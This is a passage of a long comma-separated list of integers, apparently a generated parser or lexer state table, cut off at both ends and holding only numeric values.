,1260,1261,0,0,0,0,131072,0,0,0,0,0,0,0,0,0,0,0,0,2415,0,0,2418,528,528,528,528,1351,1358,528,528,528,528,528,528,528,528,1371,528,528,0,57893,57893,57893,58317,57893,57893,294,1151,0,0,1155,0,0,0,0,0,5857280,0,6463488,4939776,0,0,5455872,0,0,0,0,0,5554176,5570560,5578752,5619712,5668864,0,0,0,5791744,5816320,0,5857280,0,1373,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,1406,1408,528,528,528,528,528,528,528,528,528,528,528,1423,528,528,528,528,528,2910,528,528,528,528,528,528,2917,528,528,528,528,528,2490,528,528,528,528,528,528,528,528,528,0,0,57893,57893,57893,57893,57893,60612,57893,60613,57893,57893,57893,58773,914,57893,58776,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58790,58797,57893,57893,57893,57893,57893,57893,57893,57893,58810,57893,58812,57893,57893,57893,57893,57893,59867,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59872,57893,57893,57893,57893,57893,57893,58832,57893,58834,57893,57893,57893,57893,57893,57893,57893,58847,57893,57893,57893,57893,57893,59881,57893,57893,57893,57893,57893,57893,57893,57893,59888,57893,57916,57916,57916,58957,57916,57916,57916,0,57893,57943,58965,57943,57943,57943,57943,57943,57943,59548,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,61154,57943,57943,57943,57943,528,58999,57943,59001,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59027,57943,57943,57943,57943,59037,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59052,57943,57943,57943,57943,57943,61139,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60454,57943,57943,57943,57943,1946,528,528,528,528,528,528,528,528,1955,528,528,528,528,528,528,1970,528,528,528,528,528,528,1976,528,528,528,528,1982,528,58773,1986,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60648,57893,57893,57893,57893,57893,57893,57893,57893,57893,59346,59347,57893,57893,57893,57893,59354,57893,57893,57893,57893,57893,58315,57893,57893,57893,57893,0,57916,57916,57916,57916,57916,57916,60349,57916,57916,57916,57916,60353,57916,57916,57916,57893,59426,57893,50676,2086,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60932,57916,60934,57916,57916,57916,57916,59446,59447,57916,57916,57916,57916,59454,57916,57916,57916,57916,57916,57916,59449,57916,57916,57916,57916,57916,57916,57916,57916,57916,60390,57916,57916,57916,57916,57916,57916,59526,57916,57893,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59051,57943,57943,57943,59542,59543,57943,57943,57943,57943,59550,57943,57943,57943,57943,57943,57943,57943,57943,57943,60425,57943,57943,57943,57943,57943,57943,0,2313,0,0,0,0,0,0,0,0,0,2322,0,0,0,0,0,0,3208,0,0,0,0,0,0,0,0,0,3210,3211,0,0,0,0,0,528,528,528,528,2477,528,528,528,528,528,528,528,2483,528,528,528,528,528,2924,528,528,528,528,528,528,528,528,528,528,528,2496,528,528,528,0,528,528,528,2488,528,528,528,528,528,528,528,528,528,528,528,0,0,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,0,0,990,57916,57916,57916,57916,57916,60004,57916,57916,57916,57916,57916,57916,57916,60010,57916,57916,57916,57916,57916,58921,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60917,57916,57916,57916,57916,57916,57943,57943,57943,60087,57943,57943,57943,57943,57943,57943,57943,60093,57943,57943,57943,57943,57943,57943,60967,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60040,57943,57943,57943,57943,57943,0,0,0,2782,0,0,0,0,0,0,0,0,0,0,0,0,1169,1170,1171,1172,3159,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1871,528,528,528,3231,528,528,528,528,528,528,528,528,528,528,528,528,528,3248,528,528,528,3262,528,0,0,57893,57893,57893,57893,57893,57893,57893,57893,60614,57893,57893,57893,50676,0,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59441,57893,57893,57893,57893,60622,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57916,61098,57916,57916,57916,57893,57893,57893,57893,60655,57893,0,0,57916,57916,57916,57916,57916,57916,57916,57916,60928,57916,57916,57916,57916,57916,57916,57916,60663,57916,57916,57916,57916,57916,57916,60671,57916,57916,57916,57916,57916,57916,57916,57916,61118,57916,57916,57916,57916,57916,57916,57916,57943,60712,57943,57943,57943,57943,57943,57943,60720,57943,57943,57943,57943,57943,57943,57943,57943,61340,57943,57943,528,57893,0,0,0,57893,57893,57893,61094,57893,57893,57893,57893,57893,57893,57893,57916,57916,57916,57916,57916,57916,61232,57916,57916,57916,57916,61233,61234,57916,57916,57916,528,528,57893,57893,57893,57893,57893,57893,57893,61513,57893,61515,57893,57893,57893,57893,57893,59894,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,0,57916,57916,58335,57916,57916,528,528,61559,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61567,61624,57916,57916,57916,57916,57943,61628,57943,57943,57943,57943,0,0,0,0,528,4272,528,528,528,528,57893,61620,57893,57893,57893,57893,57916,0,389,341,0,0,0,0,0,0,0,0,0,0,0,0,0,2801,0,0,463,479,479,479,463,463,463,463,463,463,463,463,463,463,512,512,512,512,512,512,512,512,512,512,512,512,512,512,512,512,539,57905,539,57905,539,539,57905,539,539,57928,57905,539,539,57905,57905,57905,57905,57955,57955,57905,57905,57905,57905,57955,57955,57905,539,57905,57905,57928,57905,57905,57905,57905,57905,57905,57905,57928,57928,57905,57905,57955,57905,57905,57905,1,24578,3,155942,156282,296,0,0,0,0,0,302,303,0,0,732,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3427,0,0,0,662,0,662,0,0,0,0,0,0,0,0,662,0,0,0,0,0,6225920,4358144,5062656,4358144,4358144,4358144,4358144,4358144,6225920,0,6086656,528,528,528,528,858,528,528,874,528,528,528,528,528,528,528,528,2913,528,528,528,528,528,528,528,57916,58353,57916,57916,58369,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61575,57943,57943,57943,0,1189,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3451,0,0,1318,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3480,0,0,0,1334,0,0,0,0,0,528,528,528,528,528,528,528,528,2876,528,528,528,528,528,528,528,528,528,1352,528,528,528,528,528,528,528,528,528,528,528,528,2469,528,528,528,528,528,528,1391,528,528,528,528,528,528,528,528,528,528,528,528,528,3493,528,528,528,528,1410,528,528,528,528,528,1418,528,528,528,528,528,528,528,1379,528,528,528,528,528,528,528,528,1954,528,528,1957,528,528,528,528,58773,914,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58791,57893,57893,57893,58857,57893,57893,57893,57893,57893,57893,57893,50676,58773,990,57916,57916,57916,57916,57943,57943,57943,60412,57943,60413,57943,57943,57943,57943,57943,57943,57943,58471,57943,57943,57943,57943,528,528,528,901,57943,57943,57943,57943,59039,57943,57943,57943,57943,57943,59047,57943,57943,57943,57943,57943,57943,59563,59564,57943,57943,57943,57943,57943,57943,57943,57943,57943,61484,0,0,4143,4144,0,0,0,1727,0,0,0,0,1734,0,0,0,0,0,0,0,0,0,2370,0,0,0,0,0,0,528,1916,528,528,528,528,528,528,528,528,528,528,528,528,1927,528,528,0,57893,57893,57893,58319,57893,57893,155942,1151,0,302,0,0,306,307,0,0,0,0,0,0,0,0,0,0,650,0,0,0,0,0,2351104,0,0,0,0,0,0,0,0,0,4358144,59359,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59370,57893,57893,57893,50676,0,57916,59433,57916,57916,57916,57916,57916,57916,57916,59440,57916,57943,57943,57943,59544,57943,57943,57943,57943,57943,57943,57943,57943,57943,59555,57943,57943,528,1714,528,1716,528,528,59063,57893,57893,59065,57893,57893,1151,0,57943,57943,57943,59577,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,61143,57943,57943,0,0,2379,2380,0,0,0,0,0,2386,0,0,0,0,0,0,0,2785,0,0,0,0,0,0,0,0,1753,0,0,0,0,0,0,0,528,2474,528,528,528,528,2479,528,528,528,528,528,528,528,528,528,1396,528,528,528,1403,1405,528,2501,0,0,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60878,57893,57893,57893,57893,57893,57893,59906,57893,57893,57893,57893,59911,57893,57893,57893,57893,57893,57893,2999,0,57916,57916,57916,57916,57916,57916,57916,57916,57943,61327,57943,57943,61329,57943,57943,57943,57916,59964,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59506,57916,57943,60047,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60070,60071,57916,57916,57916,57916,61115,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58885,58892,57916,57916,57916,0,3925,3675,0,0,0,0,0,0,0,0,0,0,0,0,0,2838,2839,0,3949,528,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58850,57893,57893,57893,61308,57893,57893,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58886,57916,57916,57916,57916,4001,0,0,0,0,3675,0,0,0,0,0,0,0,0,528,528,528,528,528,528,1895,528,528,528,4016,528,528,528,528,528,528,528,528,528,528,57893,57893,57893,57893,57893,57893,57893,61375,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57916,57916,57916,57916,57916,61461,57916,61391,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,61407,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,0,0,0,0,0,2316,0,0,0,0,0,0,0,0,0,0,3838,0,0,0,0,0,528,528,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61566,57916,0,0,0,0,57893,57943,57943,58410,57943,57943,57943,57943,57943,57943,58443,0,0,0,390,391,393,343,0,0,0,0,0,0,342,0,0,0,343,0,0,0,0,0,0,0,0,0,2787,0,0,0,0,0,0,0,0,0,390,0,0,0,0,0,0,343,0,0,0,390,0,0,0,0,131072,0,0,0,0,0,0,0,0,0,310,0,0,0,0,1749,0,0,0,0,0,0,0,0,0,0,0,540672,0,0,0,0,0,0,480,480,480,480,496,496,496,496,496,496,496,496,496,480,480,480,480,480,480,480,480,480,480,480,480,480,480,480,480,540,57906,540,57906,540,540,57906,540,540,57929,57906,540,540,57906,57906,57906,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,57929,57906,57906,57906,57906,57906,57906,57906,57929,57929,57906,57942,57956,57942,57942,57942,57942,57956,57956,57942,57942,57942,57942,57956,57956,57942,540,57906,57906,368,368,0,0,0,0,0,706,0,0,0,0,0,0,0,0,740,0,0,0,0,740,0,746,715,0,717,0,0,0,0,0,0,0,725,0,0,0,0,0,0,804,0,0,0,0,0,0,804,0,528,0,0,813,0,796,0,0,815,0,667,0,792,0,0,0,0,0,836,0,0,0,0,796,663,840,0,528,0,792,815,0,815,813,0,0,0,827,0,0,0,663,830,0,0,0,0,131072,0,0,0,0,0,0,0,444,0,0,0,0,0,690,691,0,0,0,0,696,0,0,0,368,843,528,528,528,859,528,528,875,528,528,528,528,889,528,528,528,528,528,3245,528,528,528,528,528,528,528,528,528,528,528,1398,528,528,528,528,528,907,528,528,57893,57893,58261,57893,57893,57893,58278,57893,57893,58294,57893,57893,57893,50676,0,59432,57916,59434,57916,59435,57916,59437,57916,59439,57916,57916,57893,57943,57943,57943,57943,57943,57943,57943,59534,57943,57943,57943,57943,57943,57943,59594,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60467,57943,57943,57943,57943,57943,57893,57893,58308,57893,57893,57893,57893,58326,57893,57893,0,57916,57916,58337,57916,57916,57916,57916,57943,57943,60411,57943,57943,57943,57943,57943,57943,57943,57943,57943,59044,57943,57943,57943,57943,57943,57943,57916,58354,57916,57916,58370,57916,57916,57916,57916,58384,57916,57916,57916,57916,58402,57916,0,0,0,0,57893,57943,57943,58411,57943,57943,57943,58427,57943,57943,57943,57943,57943,59005,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59008,57943,57943,57943,57943,57943,57943,57943,57943,58459,57943,57943,57943,57943,58477,57943,57943,528,528,528,528,528,528,57893,57893,57893,57893,57893,57893,1151,0,0,0,1170,0,0,0,0,0,0,0,1172,0,0,0,0,0,0,806,0,0,0,0,787,0,806,0,528,1293,0,0,0,0,0,0,0,0,0,0,0,0,1305,0,0,0,0,0,6307840,0,0,6356992,6381568,6397952,4800512,4808704,0,0,4890624,0,4947968,0,0,0,5046272,0,0,0,0,5185536,0,5234688,5300224,0,0,0,0,1210,0,0,0,0,0,0,0,0,0,1305,0,0,0,0,0,2343,0,0,0,0,0,2347,0,0,2349,0,0,1333,0,0,0,0,0,0,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,1353,528,528,528,528,528,528,528,528,528,528,528,528,2901,528,528,528,528,528,528,1377,528,528,528,528,528,528,528,528,528,528,528,528,528,3724,528,528,58773,914,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58792,0,0,1777,0,0,1780,0,1782,0,0,0,0,0,0,0,0,753,0,0,0,0,0,0,0,0,1833,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3667,3668,528,1898,528,528,528,528,528,528,528,528,1909,528,528,528,528,528,868,528,528,528,528,528,887,528,528,528,528,59341,57893,57893,57893,57893,57893,57893,57893,57893,59352,57893,57893,57893,57893,57893,57893,58325,57893,57893,57893,0,57916,57916,57916,57916,57916,57943,57943,57943,57943,59578,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60056,57943,57943,57943,0,2394,0,0,0,0,0,0,0,0,0,0,0,0,0,2405,0,528,528,528,2422,2423,528,528,528,528,528,528,528,528,528,528,1366,528,528,528,528,528,0,0,0,57893,57893,57893,59852,57893,59854,57893,57893,57893,57893,57893,57893,57893,59349,57893,57893,57893,57893,57893,57893,57893,57893,60647,57893,57893,57893,57893,57893,57893,57893,57893,59903,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59405,57893,0,2780,0,0,2783,0,0,0,0,0,0,2788,0,0,0,2791,2792,0,0,0,0,0,0,0,0,0,0,0,0,0,2802,0,0,0,0,131072,0,0,0,0,0,0,0,448,0,0,0,0,0,2307,0,0,0,0,0,0,0,0,0,0,3674,0,0,0,0,0,0,2817,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3677,0,0,0,2843,0,0,0,0,0,0,0,0,2851,0,0,0,0,0,0,3448,0,0,0,0,0,0,0,0,0,1287,1288,0,0,0,0,0,0,2857,0,0,0,0,2860,0,0,0,0,0,0,0,0,0,2862,0,0,0,0,0,0,2868,0,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,57893,57893,57893,57893,2879,528,528,2882,2883,528,528,528,528,528,2888,528,2890,528,528,528,528,528,3487,528,528,528,528,528,528,528,528,528,528,2468,528,528,528,528,528,528,2894,528,528,528,528,528,528,528,528,528,2900,528,528,528,528,528,1903,1904,528,528,528,528,1911,528,528,528,528,528,1935,528,528,528,1940,528,528,528,528,528,528,2897,528,528,528,528,528,528,528,528,528,528,3858,528,57893,57893,57893,57893,528,528,528,528,2908,528,528,528,528,528,528,2916,528,528,528,528,528,2439,528,528,528,528,2444,528,528,528,528,528,528,61594,57893,57893,57893,57893,57893,57893,57893,61600,57916,528,2921,528,528,528,528,528,528,528,528,528,528,528,528,528,528,1387,528,57893,60297,57893,60299,57893,57893,57893,57893,60303,57893,57893,57893,57893,57893,57893,57893,59382,57893,57893,57893,57893,57893,57893,57893,57893,59398,57893,57893,57893,57893,57893,57893,57893,57893,57893,60309,57893,57893,57893,57893,57893,57893,57893,57893,57893,60318,57893,57893,57893,0,0,0,2593,57916,57916,57916,57916,57916,57916,57916,57916,57916,60704,57916,57943,57943,57943,57943,57943,57943,57943,60957,57943,57943,57943,57943,57943,57943,57943,57893,57893,57893,60326,57893,57893,57893,57893,57893,60331,57893,57893,57893,57893,57893,57893,58837,57893,57893,57893,57893,57893,57893,57893,58851,57893,60355,57916,57916,60358,60359,57916,57916,57916,57916,57916,60364,57916,60366,57916,57916,57916,57916,57916,60925,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58884,57916,57916,57916,57916,57916,57916,60370,57916,57916,57916,57916,57916,57916,57916,57916,57916,60376,57916,57916,57916,57916,57916,58960,57916,0,57893,57943,57943,57943,57943,57943,57943,57943,57943,60732,57943,57943,57943,57943,57943,57943,57943,57943,60450,57943,57943,57943,57943,57943,57943,60458,57916,57916,60398,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59505,57916,57916,57943,57943,57943,60420,57943,57943,60423,60424,57943,57943,57943,57943,57943,60429,57943,60431,57943,57943,57943,57943,60435,57943,57943,57943,57943,57943,57943,57943,57943,57943,60441,57943,57943,57943,57943,57943,61150,57943,57943,57943,57943,57943,57943,57943,57943,57943,528,528,3133,528,528,57893,57893,60480,57893,0,0,3161,3162,3163,0,0,0,0,0,0,0,0,0,0,0,2311,0,0,0,0,0,3176,0,0,0,0,0,0,0,3182,0,3184,0,0,0,0,0,0,3458,0,0,0,0,0,0,0,0,0,786,0,0,0,0,0,0,0,0,0,0,0,802,0,807,0,810,3188,0,0,0,0,3193,0,0,3196,0,0,0,0,0,0,0,389,0,139264,147456,0,0,0,0,0,528,528,3263,0,0,60608,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61086,57893,57893,57893,57893,57893,57893,57893,60653,57893,57893,60656,0,0,60657,57916,57916,57916,57916,57916,57916,57916,58880,57916,57916,57916,58889,57916,57916,57916,57916,57916,57916,60689,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59986,57916,57916,57916,57916,60699,57916,57916,60702,57916,57916,60705,60706,57943,57943,57943,57943,57943,57943,57943,60052,57943,57943,57943,57943,57943,57943,60057,57943,60727,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59031,57943,57943,57943,60738,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,58994,57943,57943,57943,57943,57943,57943,60748,57943,57943,60751,57943,57943,60754,3411,528,528,60758,57893,57893,57893,50676,2085,57916,57916,57916,57916,57916,59436,57916,57916,57916,57916,57916,57916,60373,57916,57916,57916,57916,57916,57916,57916,60379,57916,3429,0,0,0,0,3434,0,0,0,0,0,0,0,0,0,0,3675,0,0,0,0,0,0,0,0,528,528,0,0,0,3470,0,0,0,0,0,0,3477,0,0,3479,0,0,0,0,306,0,0,0,0,0,0,306,0,0,0,0,0,0,0,0,0,0,0,0,2852,0,0,0,528,528,3484,528,528,528,528,528,528,528,528,528,528,528,528,528,528,3259,528,3509,528,528,3511,528,528,528,528,528,528,528,528,528,528,528,57893,57893,57893,57893,61446,57893,57893,60868,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59928,57893,60894,57893,57893,60896,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60877,57893,57893,57893,57916,57916,60910,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60012,57916,57916,57916,60936,57916,57916,60938,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59485,57916,57916,57916,57916,57916,57943,57943,60952,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59009,57943,57943,57943,57943,57943,60978,57943,57943,60980,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60055,57943,57943,57943,60058,3661,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2312,3679,0,0,0,0,0,0,0,0,0,0,0,0,0,3691,0,0,0,0,131072,0,0,0,0,0,0,0,450,0,0,0,0,0,3457,0,0,0,0,3462,0,0,0,0,3466,3702,3703,528,528,528,528,3707,3708,528,528,528,528,528,3712,528,528,0,2932,0,0,0,0,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59859,57893,57893,528,57893,57893,57893,57893,57893,57893,57893,61073,61074,57893,57893,57893,57893,61078,61079,57916,57916,61102,61103,57916,57916,57916,57916,61107,61108,57916,57916,57916,57916,57916,61112,57943,57943,61136,61137,57943,57943,57943,57943,57943,61141,57943,57943,57943,57943,57943,57943,57943,60436,57943,57943,57943,57943,57943,57943,57943,57943,58476,57943,57943,57943,1139,528,528,528,57943,57943,61147,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,528,528,528,528,528,528,57893,57893,57893,0,0,3817,0,0,0,0,0,0,0,0,1165,0,0,0,0,0,0,0,0,0,3834,0,0,0,0,0,0,0,0,0,0,0,0,0,2865,0,0,57916,57916,57916,57916,61230,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59486,57916,57916,57916,57916,57943,61249,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60096,57943,0,0,3675,0,3928,0,0,0,0,0,0,0,0,0,0,0,2361,0,0,0,0,528,528,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61303,57893,57893,57893,50676,2086,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61236,61319,57916,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,57943,57943,0,0,57943,57943,57943,61335,57943,57943,57943,57943,57943,57943,57943,528,57893,0,3999,0,0,0,0,131072,0,0,0,0,0,0,0,450560,0,0,0,0,0,372,0,0,0,0,0,0,0,0,0,0,2333,0,0,0,0,2338,0,4002,0,0,0,3675,0,0,0,0,0,0,0,0,528,528,528,1341,528,528,528,528,4014,528,528,528,528,4019,528,528,528,528,4024,528,528,57893,57893,61373,57893,57893,57893,57893,61378,57893,57893,57893,57893,61383,57893,57893,57893,57916,57916,61389,57916,57916,57916,57916,61394,57916,57916,57916,57916,61399,57916,57916,57916,57943,57943,61405,57943,57943,57943,57943,61410,57943,57943,57943,57943,61415,57943,57943,57943,0,0,0,0,0,2366,0,0,0,0,0,0,0,0,0,0,352256,0,352256,0,0,0,0,0,0,4078,0,0,4081,0,0,0,0,0,528,528,528,528,528,528,57893,57893,57893,57893,57893,57893,57916,528,528,4246,4247,528,528,57893,57893,57893,61596,61597,57893,57893,57893,57916,57916,57916,57916,57943,60410,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,58481,528,852,528,528,57916,61602,61603,57916,57916,57916,57943,57943,57943,61608,61609,57943,57943,57943,0,0,0,0,306,306,306,306,306,306,306,306,306,306,306,306,306,0,306,0,0,0,0,345,346,347,348,349,0,0,0,0,0,0,0,0,1181,0,0,0,0,0,0,0,0,0,349,348,131072,347,348,348,0,349,347,348,0,347,348,457,464,481,481,481,492,492,492,498,492,492,498,498,492,498,513,513,513,513,513,513,513,513,513,513,513,513,513,513,513,513,541,57907,541,57907,541,541,57907,541,541,57930,57907,541,541,57907,57907,57907,57907,57957,57957,57907,57907,57907,57907,57957,57957,57907,541,57907,57907,57930,57907,57907,57907,57907,57907,57907,57907,57930,57930,57907,57907,57957,57907,57907,57907,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,0,306,307,0,0,0,0,0,0,646,0,0,0,0,651,652,653,654,655,656,657,0,0,0,0,0,0,0,0,0,0,0,2388,0,0,0,0,0,0,0,672,673,0,675,676,0,0,0,0,0,682,0,0,0,0,307,0,0,0,0,0,0,307,0,0,0,0,0,0,0,0,0,0,0,0,352256,0,0,0,0,0,0,0,716,0,0,719,0,721,0,723,0,0,0,0,0,0,0,394,0,0,0,0,0,0,0,0,1222,0,0,0,0,0,0,0,0,0,733,0,0,0,0,0,0,0,0,0,0,0,0,0,3172,0,0,0,0,0,763,764,0,766,767,675,0,0,0,0,0,0,0,395,0,0,0,0,0,0,0,0,2319,0,0,0,0,0,0,0,0,0,0,782,783,0,785,0,0,0,0,764,0,0,791,0,0,0,0,131072,0,0,0,0,0,245760,0,0,0,0,245760,0,0,0,0,0,0,0,0,0,0,0,0,3171,0,0,0,0,692,0,0,0,764,0,0,0,0,0,0,0,0,757,821,0,0,0,757,0,0,824,699,0,0,0,829,0,0,0,831,0,0,0,692,699,0,0,692,829,829,0,0,0,0,0,528,528,528,528,528,528,2874,528,528,528,528,528,528,528,3489,528,528,528,528,528,528,528,528,3256,528,528,528,528,528,528,528,528,849,853,856,528,865,528,528,528,881,883,886,528,528,528,899,903,528,528,528,57893,57893,57893,58268,58272,58275,57893,58284,57893,57893,57893,58300,58302,58305,57893,57893,57893,58318,58322,57893,57893,57893,0,57916,57916,57916,58344,58348,58351,57916,58360,57916,57916,57916,58376,58378,58381,57916,57916,57916,58394,58398,57916,57916,57916,57916,58367,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59999,57916,57916,57916,57916,0,0,0,0,58409,57943,57943,57943,58419,58423,58426,57943,58435,57943,57943,528,3649,528,57893,60996,57893,0,0,0,0,0,0,0,0,1254,0,0,0,0,0,0,0,57943,58451,58453,58456,57943,57943,57943,58469,58473,57943,57943,57943,849,1140,528,899,903,1144,0,58489,58268,57893,58318,58322,58494,155942,1151,0,0,0,0,0,0,1179,0,0,0,0,0,0,0,0,0,1239,0,0,0,0,0,0,1278,0,0,0,0,1283,0,0,0,0,0,0,0,0,0,0,3675,0,3828,0,0,0,0,0,0,1321,0,0,0,0,0,0,0,0,0,0,0,0,1198,0,0,0,528,1375,528,528,528,1378,528,528,528,528,528,528,528,1385,528,528,0,2932,0,0,0,0,57893,57893,57893,57893,57893,57893,60282,57893,1389,528,528,528,528,528,528,528,528,528,528,528,1400,528,528,1407,58817,57893,57893,57893,57893,57893,57893,57893,58824,57893,57893,58828,57893,57893,57893,57893,57893,59895,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59898,59899,57893,57893,57893,57893,57916,57916,57916,58934,57916,57916,58941,57916,57916,57916,57916,57916,57916,57916,57916,57916,59984,57916,57916,57916,57916,57916,57916,57916,58955,57916,57916,57916,57916,57916,0,57893,57943,57943,57943,57943,57943,57943,57943,57943,61542,57943,57943,57943,0,4202,0,0,57943,57943,57943,59003,57943,57943,57943,59006,57943,57943,57943,57943,57943,57943,57943,59013,57943,57943,59017,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59029,57943,57943,57943,57943,57943,61337,57943,57943,57943,61341,57943,528,57893,0,0,0,0,3139,0,0,0,0,0,0,0,0,0,3149,57943,59036,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59050,57943,57943,57943,57943,57943,59019,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,58482,528,528,528,528,1822,0,1824,0,0,0,1826,0,746,0,0,0,0,0,0,0,399,0,0,404,0,0,0,0,0,1872,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2350,0,1757,0,0,0,0,0,0,528,1891,528,528,528,528,528,528,2440,528,528,528,528,528,528,528,528,528,528,2495,528,528,528,528,0,1897,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,1428,528,528,528,528,1919,528,528,528,528,528,528,528,528,528,528,1928,528,528,528,1932,528,528,1937,528,528,528,528,528,528,528,528,528,1419,528,528,528,528,528,528,528,528,528,528,58773,0,57893,59333,57893,57893,57893,57893,57893,57893,57893,59340,57893,57893,57893,59362,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59371,57893,57893,57893,57893,57943,57943,57893,57893,57893,57893,57943,57943,57893,528,57893,57893,57893,57893,57893,57893,57893,57893,57893,61075,57893,57893,57893,57893,57893,58821,57893,57893,57893,58825,57893,57893,57893,57893,57893,57893,59348,57893,57893,57893,57893,57893,57893,57893,57893,57893,60875,57893,57893,57893,57893,57893,57893,57893,57893,59375,57893,57893,59380,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61457,57916,57916,57916,57916,57916,57916,57916,59462,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59471,57916,57916,57916,57916,58368,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60011,57916,57916,57916,57916,59475,57916,57916,59480,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59972,57916,57916,57916,59975,59558,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59567,57943,57943,57943,59571,57943,57943,59576,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59569,57943,57943,57916,57916,57916,59990,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58948,57916,57916,57916,57943,57943,57943,60073,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59010,57943,57943,57943,2804,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2376,57916,60409,57916,57916,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59030,57943,57943,57943,57943,60474,57943,57943,528,528,528,528,528,57893,57893,57893,57893,57893,2290,0,2291,0,0,3214,0,0,0,528,3218,528,528,528,528,528,528,528,528,528,528,1383,528,528,528,528,1388,3242,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,1962,57893,60633,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60335,57893,57916,57916,57916,57916,60682,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59998,57916,57916,57916,57916,0,0,3419,0,0,0,0,0,0,0,0,0,3425,0,0,0,0,0,2410,0,0,0,0,0,0,0,0,0,0,417792,309,310,0,0,0,0,3841,528,528,528,528,528,528,528,3846,528,528,528,528,528,528,2465,528,528,528,528,528,528,528,528,528,528,3943,528,3945,528,528,528,57893,57893,57893,57893,61